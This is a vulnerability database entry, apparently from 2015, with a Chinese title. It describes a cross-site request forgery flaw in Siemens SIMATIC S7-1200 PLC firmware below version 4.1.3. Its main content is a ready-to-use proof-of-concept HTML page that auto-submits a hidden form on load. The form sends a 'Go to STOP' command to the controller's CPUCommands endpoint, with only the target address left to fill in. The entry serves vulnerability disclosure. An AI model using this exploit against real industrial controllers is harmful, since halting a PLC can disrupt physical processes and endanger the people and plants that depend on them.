Siemens SIMATIC S7-1200固件版本低于4.1.3的设备跨站伪造请求（CSRF）漏洞

🗓️ 21 Sep 2015 00:00:00Reported by ppprinceType

Siemens SIMATIC S7-1200 firmware version below 4.1.3 CSRF vulnerabilit


                                                <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "1034" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://IP ADDR/CPUCommands">
<input type="hidden" name="PriNav" value="Start"/>
<input type="hidden" name="Stop" value="Go to STOP"/>
</form>

</body>
</html>

21 Sep 2015 00:00Current

7.1High risk

Vulners AI Score7.1